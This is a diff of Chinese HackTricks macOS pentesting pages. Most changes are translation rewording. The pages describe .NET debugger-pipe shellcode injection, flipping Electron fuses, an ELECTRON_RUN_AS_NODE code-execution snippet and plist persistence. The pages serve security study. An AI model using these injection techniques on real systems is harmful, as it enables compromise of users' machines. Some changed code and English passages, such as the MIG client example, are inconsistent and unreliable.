* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks上宣传你的公司吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索我们独家的[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 探索我们独家的[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的[**NFT**](https://opensea.io/collection/the-peass-family)独家收藏品
|
||||
* 获取[**PEASS和HackTricks的官方商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**或[**Telegram群**](https://t.me/peass),或在**Twitter**上**关注我**[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧**。
|
||||
|
@ -22,9 +22,9 @@
|
|||
|
||||
* 在**恢复模式**下,内核扩展必须被**允许加载**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 内核扩展必须使用**内核代码签名证书进行签名**,该证书只能由**Apple**颁发。Apple将详细审查**公司**和**所需原因**。
|
||||
* 内核扩展必须使用**内核代码签名证书进行签名**,该证书只能由**Apple**颁发。Apple将对**公司**和**所需原因**进行详细审查。
|
||||
* 内核扩展还必须经过**公证**,Apple可以检查其中是否存在恶意软件。
|
||||
* 然后,**root用户**可以加载内核扩展,包中的文件必须属于root用户。
|
||||
* 在加载过程中,包必须准备在受保护的非根目录位置:`/Library/StagedExtensions`(需要授予`com.apple.rootless.storage.KernelExtensionManagement`权限)
|
||||
|
@ -34,13 +34,13 @@
|
|||
|
||||
在Catalina中是这样的:值得注意的是,**验证**过程发生在**用户空间**中。然而,只有具有**`com.apple.private.security.kext-management`**权限的应用程序才能**请求内核**加载扩展:kextcache、kextload、kextutil、kextd、syspolicyd
|
||||
|
||||
1. **`kextutil`**命令行工具**启动**验证过程以加载扩展
|
||||
1. **`kextutil`**命令行界面**启动**验证过程以加载扩展
|
||||
|
||||
* 通过Mach服务与**`kextd`**通信
|
||||
|
||||
2. **`kextd`**将检查多个内容,如签名
|
||||
2. **`kextd`**将检查各种事项,如签名
|
||||
|
||||
* 通过与**`syspolicyd`**通信,检查是否可以加载扩展
|
||||
* 与**`syspolicyd`**通信以检查是否可以加载扩展
|
||||
|
||||
3. **`syspolicyd`**将向**用户询问**,如果扩展之前未加载过
|
||||
|
||||
|
@ -60,7 +60,7 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks上宣传你的公司吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索我们独家的[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 探索我们独家的[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的[**NFT**](https://opensea.io/collection/the-peass-family)独家收藏品
|
||||
* 获取[**PEASS和HackTricks的官方商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**或[**Telegram群**](https://t.me/peass),或在**Twitter**上**关注我**[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **发送PR来分享你的黑客技巧。**
|
||||
|
|
|
@ -21,11 +21,11 @@
|
|||
|
||||
因此,如果你进入用户的**`$TMPDIR`**目录,你将能够找到用于调试.Net应用程序的**调试FIFO**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
函数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)将处理来自调试器的通信。
|
||||
|
||||
调试器需要做的第一件事是**创建一个新的调试会话**。这是通过**通过`out`管道发送以`MessageHeader`结构开始的消息**来完成的,我们可以从.NET源代码中获取:
|
||||
调试器需要做的第一件事是**创建一个新的调试会话**。这是通过通过`out`管道发送以`MessageHeader`结构开始的消息来完成的,我们可以从.NET源代码中获取:
|
||||
```c
|
||||
struct MessageHeader
|
||||
{
|
||||
|
@ -62,7 +62,7 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion
|
|||
// Finally set the number of bytes which follow this header
|
||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||
```
|
||||
构建完成后,我们使用`write`系统调用将其发送给目标。
|
||||
一旦构建完成,我们使用`write`系统调用将其发送给目标。
|
||||
```c
|
||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||
```
|
||||
|
@ -169,15 +169,15 @@ return true;
|
|||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
然后,为了触发执行,需要知道存储函数指针的位置以进行覆写。可以在**动态函数表(DFT)**中覆写指针,该表由.NET Core运行时用于提供JIT编译的辅助函数。支持的函数指针列表可以在[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)中找到。
|
||||
然后,为了触发执行,需要知道存储函数指针的位置以覆盖它。可以在**动态函数表(DFT)**中覆盖指针,该表由.NET Core运行时用于提供JIT编译的辅助函数。支持的函数指针列表可以在[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)中找到。
|
||||
|
||||
在x64版本中,可以使用类似mimikatz的**签名搜索**技术直接在**`libcorclr.dll`**中搜索对符号**`_hlpDynamicFuncTable`**的引用,并进行解引用:
|
||||
在x64版本中,可以使用类似mimikatz的**签名搜索**技术直接在**`libcorclr.dll`**中搜索对符号**`_hlpDynamicFuncTable`**的引用,然后我们可以对其进行解引用:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
现在只需要找到一个地址来开始我们的签名搜索。为此,我们利用另一个公开的调试器函数**`MT_GetDCB`**。它返回目标进程的一些有用信息,但对于我们的情况,我们对返回的一个包含**辅助函数地址**的字段感兴趣,即**`m_helperRemoteStartAddr`**。使用这个地址,我们知道**`libcorclr.dll`在目标进程内存中的位置**,可以开始搜索DFT。
|
||||
现在只需要找到一个地址来开始我们的签名搜索。为此,我们利用另一个暴露的调试器函数**`MT_GetDCB`**。它返回目标进程的一些有用信息,但对于我们的情况,我们对返回的字段感兴趣,其中包含一个辅助函数的地址**`m_helperRemoteStartAddr`**。使用这个地址,我们知道**`libcorclr.dll`在目标进程内存中的位置**,可以开始搜索DFT。
|
||||
|
||||
知道了这个地址,就可以用我们的shellcode覆写函数指针。
|
||||
知道了这个地址,就可以用我们的shellcode覆盖函数指针。
|
||||
|
||||
完整的用于注入到PowerShell的POC代码可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到。
|
||||
|
||||
|
@ -189,7 +189,7 @@ vmmap -pages 35829 | grep "rwx/rwx"
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**为你的公司做广告**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFT收藏品**](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
|
|
@ -14,20 +14,20 @@
|
|||
|
||||
## 基本信息
|
||||
|
||||
如果你不知道什么是Electron,你可以在[**这里找到大量信息**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。但现在只需要知道Electron运行**node**。\
|
||||
如果你不知道什么是Electron,你可以在[**这里找到大量信息**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。但现在只需知道Electron运行**node**。\
|
||||
而node有一些**参数**和**环境变量**,可以用来**执行其他代码**,而不仅仅是指定的文件。
|
||||
|
||||
### Electron Fuses
|
||||
|
||||
接下来将讨论这些技术,但最近Electron添加了几个**安全标志来防止它们**。这些是[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses),这些是用于**防止**macOS上的Electron应用程序**加载任意代码**的标志:
|
||||
接下来将讨论这些技术,但最近Electron添加了几个**安全标志以防止它们**。这些是[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses),用于**防止**macOS上的Electron应用程序**加载任意代码**:
|
||||
|
||||
* **`RunAsNode`**:如果禁用,它将阻止使用环境变量**`ELECTRON_RUN_AS_NODE`**来注入代码。
|
||||
* **`EnableNodeCliInspectArguments`**:如果禁用,像`--inspect`,`--inspect-brk`这样的参数将不会被识别。从而避免了注入代码的方式。
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**:如果启用,macOS将验证加载的**`asar`**文件。通过修改此文件的内容,以防止代码注入。
|
||||
* **`OnlyLoadAppFromAsar`**:如果启用,它将只检查和使用app.asar,而不是按照以下顺序搜索加载:**`app.asar`**,**`app`**,最后是**`default_app.asar`**。因此,当与**`embeddedAsarIntegrityValidation`**标志结合使用时,**无法加载未经验证的代码**。
|
||||
* **`OnlyLoadAppFromAsar`**:如果启用,它将只检查和使用app.asar,而不是按照以下顺序搜索加载:**`app.asar`**,**`app`**,最后是**`default_app.asar`**。因此,当与**`embeddedAsarIntegrityValidation`**融合在一起时,**无法加载未经验证的代码**。
|
||||
* **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程将使用名为`browser_v8_context_snapshot.bin`的文件进行其V8快照。
|
||||
|
||||
另一个不会阻止代码注入的有趣的标志是:
|
||||
另一个不会阻止代码注入的有趣的融合是:
|
||||
|
||||
* **EnableCookieEncryption**:如果启用,磁盘上的cookie存储将使用操作系统级别的加密密钥进行加密。
|
||||
|
||||
|
@ -56,9 +56,9 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
|
|||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
您可以在[https://hexed.it/](https://hexed.it/)中加载此文件并搜索先前的字符串。在此字符串之后,您可以在ASCII中看到一个数字“0”或“1”,表示每个保险丝是否被禁用或启用。只需修改十六进制代码(`0x30`表示`0`,`0x31`表示`1`)以**修改保险丝的值**。
|
||||
你可以在[https://hexed.it/](https://hexed.it/)中加载此文件并搜索先前的字符串。在此字符串之后,您可以在ASCII中看到一个数字“0”或“1”,表示每个保险丝是否被禁用或启用。只需修改十六进制代码(`0x30`表示`0`,`0x31`表示`1`)来**修改保险丝的值**。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
请注意,如果您尝试使用修改后的字节覆盖应用程序中的**`Electron Framework`二进制文件**,该应用程序将无法运行。
|
||||
|
||||
|
@ -75,7 +75,7 @@ Electron应用程序可能使用**外部JS/HTML文件**,因此攻击者可以
|
|||
这使得攻击路径更加复杂(或不可能)。
|
||||
{% endhint %}
|
||||
|
||||
请注意,可以通过将应用程序复制到另一个目录(如**`/tmp`**),将文件夹**`app.app/Contents`**重命名为**`app.app/NotCon`**,使用您的**恶意**代码修改**asar**文件,将其重新命名为**`app.app/Contents`**并执行来绕过**`kTCCServiceSystemPolicyAppBundles`**的要求。
|
||||
请注意,可以通过将应用程序复制到另一个目录(如**`/tmp`**),将文件夹**`app.app/Contents`**重命名为**`app.app/NotCon`**,使用您的**恶意**代码修改**asar**文件,将其重新命名为**`app.app/Contents`**并执行它来绕过**`kTCCServiceSystemPolicyAppBundles`**的要求。
|
||||
|
||||
## 使用`ELECTRON_RUN_AS_NODE`进行RCE <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
|
@ -94,7 +94,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
如果禁用了fuse **`RunAsNode`**,环境变量**`ELECTRON_RUN_AS_NODE`**将被忽略,这将无法工作。
|
||||
{% endhint %}
|
||||
|
||||
### 从App Plist中注入
|
||||
### 从App Plist注入
|
||||
|
||||
正如[**在这里提出的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以滥用这个环境变量在plist中保持持久性:
|
||||
```xml
|
||||
|
|
|
@ -197,26 +197,36 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
|||
#include "myipc.h"
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
mach_port_t server_port;
|
||||
mach_port_t bootstrap_port;
|
||||
kern_return_t kr;
|
||||
char *message = "Hello, server!";
|
||||
char reply[256];
|
||||
myipc_msg_t msg;
|
||||
|
||||
// Get the bootstrap port
|
||||
kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr, "Failed to get bootstrap port: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Look up the server port
|
||||
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc_server", &server_port);
|
||||
kr = bootstrap_look_up(bootstrap_port, MYIPC_SERVER_NAME, &msg.server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr, "Failed to look up server port: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Send a message to the server
|
||||
kr = myipc_send_message(server_port, message, reply, sizeof(reply));
|
||||
// Set the message type and data
|
||||
msg.type = MYIPC_MSG_TYPE;
|
||||
msg.data = 42;
|
||||
|
||||
// Send the message
|
||||
kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr, "Failed to send message: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Received reply: %s\n", reply);
|
||||
printf("Message sent successfully\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
@ -255,7 +265,7 @@ USERPREFSubtract(port, 40, 2);
|
|||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
先前提到,负责根据接收到的消息ID调用正确函数的函数是`myipc_server`。然而,通常你不会有二进制文件的符号(没有函数名),所以了解反编译后的代码是什么样子很有意思,因为它们总是非常相似(这个函数的代码与暴露的函数无关):
|
||||
先前提到,负责根据接收到的消息ID调用正确函数的函数是`myipc_server`。然而,通常你不会有二进制文件的符号(没有函数名),所以检查反编译后的代码是很有意思的,因为它们总是非常相似(这个函数的代码与暴露的函数无关):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server反编译 1" %}
|
||||
|
@ -344,7 +354,7 @@ if (CPU_FLAGS & NE) {
|
|||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// 与上一个版本相同的if else
|
||||
// 与前一个版本相同的if else
|
||||
// 检查地址0x100004040的使用(函数地址数组)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
|
@ -352,7 +362,7 @@ r8 = 0x1;
|
|||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// 调用计算出的地址,其中应该包含函数
|
||||
// 调用计算的地址,其中应该包含函数
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
|
@ -376,12 +386,12 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
实际上,如果你转到函数**`0x100004000`**,你会找到**`routine_descriptor`**结构体的数组,结构体的第一个元素是函数实现的地址,**结构体占用0x28字节**,所以每0x28字节(从字节0开始)你可以得到8字节,那就是将要调用的**函数的地址**:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
实际上,如果你转到函数**`0x100004000`**,你会发现**`routine_descriptor`**结构体的数组,结构体的第一个元素是函数实现的地址,**结构体占用0x28字节**,所以每0x28字节(从字节0开始)你可以得到8字节,那就是将要调用的**函数的地址**:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
可以使用[**这个Hopper脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)提取这些数据。
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
|
|
|
@ -4,10 +4,10 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
@ -16,7 +16,7 @@
|
|||
|
||||
XPC代表XNU(macOS使用的内核)进程间通信,是macOS和iOS之间进行**进程间通信的框架**。XPC提供了一种在系统上进行**安全的异步方法调用的机制**。它是苹果安全范例的一部分,允许创建**权限分离的应用程序**,其中每个**组件**仅以其工作所需的权限运行,从而限制了受损进程可能造成的潜在损害。
|
||||
|
||||
XPC使用一种进程间通信(IPC)的形式,这是一组不同程序在同一系统上发送和接收数据的方法。
|
||||
XPC使用一种进程间通信(IPC)的形式,这是一组用于在同一系统上运行的不同程序之间发送数据的方法。
|
||||
|
||||
XPC的主要优点包括:
|
||||
|
||||
|
@ -24,7 +24,7 @@ XPC的主要优点包括:
|
|||
2. **稳定性**:XPC有助于将崩溃隔离到发生崩溃的组件。如果一个进程崩溃,可以重新启动而不影响系统的其他部分。
|
||||
3. **性能**:XPC允许轻松并发,因为不同的任务可以在不同的进程中同时运行。
|
||||
|
||||
唯一的**缺点**是将一个应用程序分成多个进程,通过XPC进行通信**效率较低**。但在今天的系统中,这几乎不可察觉,而且好处更多。
|
||||
唯一的**缺点**是将一个应用程序分成多个进程,通过XPC进行通信会**效率较低**。但在今天的系统中,这几乎不可察觉,而且好处更多。
|
||||
|
||||
## 应用程序特定的XPC服务
|
||||
|
||||
|
@ -38,7 +38,7 @@ XPC服务在需要时由**launchd**启动,并在所有任务完成后**关闭*
|
|||
|
||||
系统范围的XPC服务对所有用户都可访问。这些服务可以是launchd或Mach类型,需要在指定目录中的plist文件中**定义**,例如**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`**。
|
||||
|
||||
这些plist文件将具有名为**`MachServices`**的键,其值为服务的名称,以及名为**`Program`**的键,其值为二进制文件的路径:
|
||||
这些plist文件将具有一个名为**`MachServices`**的键,其中包含服务的名称,以及一个名为**`Program`**的键,其中包含二进制文件的路径:
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
|
||||
|
@ -82,8 +82,8 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
|||
|
||||
当进程尝试通过XPC连接调用方法时,**XPC服务应该检查该进程是否被允许连接**。以下是常见的检查方法和常见的陷阱:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check.md" %}
|
||||
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
|
||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## XPC授权
|
||||
|
@ -255,11 +255,15 @@ launchctl load /path/to/xyz.hacktricks.service.plist
|
|||
|
||||
这将会将服务添加到系统的启动项中,并在系统启动时自动运行。
|
||||
|
||||
请注意,为了加载和运行服务,您需要具有管理员权限。
|
||||
要卸载和停止这个服务,可以使用`launchctl`命令:
|
||||
|
||||
```bash
|
||||
launchctl unload /path/to/xyz.hacktricks.service.plist
|
||||
```
|
||||
|
||||
请注意,为了加载和运行服务,您需要具有管理员权限。
|
||||
这将会从系统的启动项中移除服务,并停止正在运行的服务进程。
|
||||
|
||||
请注意,加载和卸载服务需要管理员权限。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
@ -389,7 +393,7 @@ To analyze the `xyz.hacktricks.svcoc.plist` file, you can use a property list ed
|
|||
|
||||
Additionally, you can also look for any custom methods or functions defined in the XPC service that could be abused to execute arbitrary code or manipulate system resources.
|
||||
|
||||
Keep in mind that modifying or abusing XPC services can have serious consequences and may violate the terms of service or legal agreements. Always ensure that you have proper authorization and follow ethical guidelines when performing any security assessments or penetration testing.
|
||||
Keep in mind that modifying or abusing XPC services can have serious consequences and may violate the terms of service or legal agreements. Always ensure that you have proper authorization and follow ethical guidelines when conducting any security research or testing.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
|
@ -445,10 +449,10 @@ To use the Dylb client code, follow these steps:
|
|||
|
||||
1. Import the necessary frameworks and libraries.
|
||||
2. Create an instance of the `NSXPCConnection` class.
|
||||
3. Set the appropriate interface for the connection.
|
||||
4. Set the connection's delegate.
|
||||
3. Set the appropriate `NSXPCInterface` for the connection.
|
||||
4. Set the `NSXPCConnection` delegate.
|
||||
5. Establish the connection using the `resume()` method.
|
||||
6. Send requests to the server using the connection's `remoteObjectProxy` property.
|
||||
6. Call the remote methods using the connection's `remoteObjectProxy` property.
|
||||
|
||||
### 用法
|
||||
|
||||
|
@ -456,42 +460,44 @@ To use the Dylb client code, follow these steps:
|
|||
|
||||
1. 导入所需的框架和库。
|
||||
2. 创建 `NSXPCConnection` 类的实例。
|
||||
3. 为连接设置适当的接口。
|
||||
4. 设置连接的代理。
|
||||
3. 为连接设置适当的 `NSXPCInterface`。
|
||||
4. 设置 `NSXPCConnection` 的委托。
|
||||
5. 使用 `resume()` 方法建立连接。
|
||||
6. 使用连接的 `remoteObjectProxy` 属性向服务器发送请求。
|
||||
6. 使用连接的 `remoteObjectProxy` 属性调用远程方法。
|
||||
|
||||
```swift
|
||||
import Foundation
|
||||
import XPC
|
||||
|
||||
// Create an instance of NSXPCConnection
|
||||
let connection = NSXPCConnection(serviceName: "com.example.MyService")
|
||||
connection.remoteObjectInterface = NSXPCInterface(with: MyServiceProtocol.self)
|
||||
|
||||
// Set the appropriate NSXPCInterface
|
||||
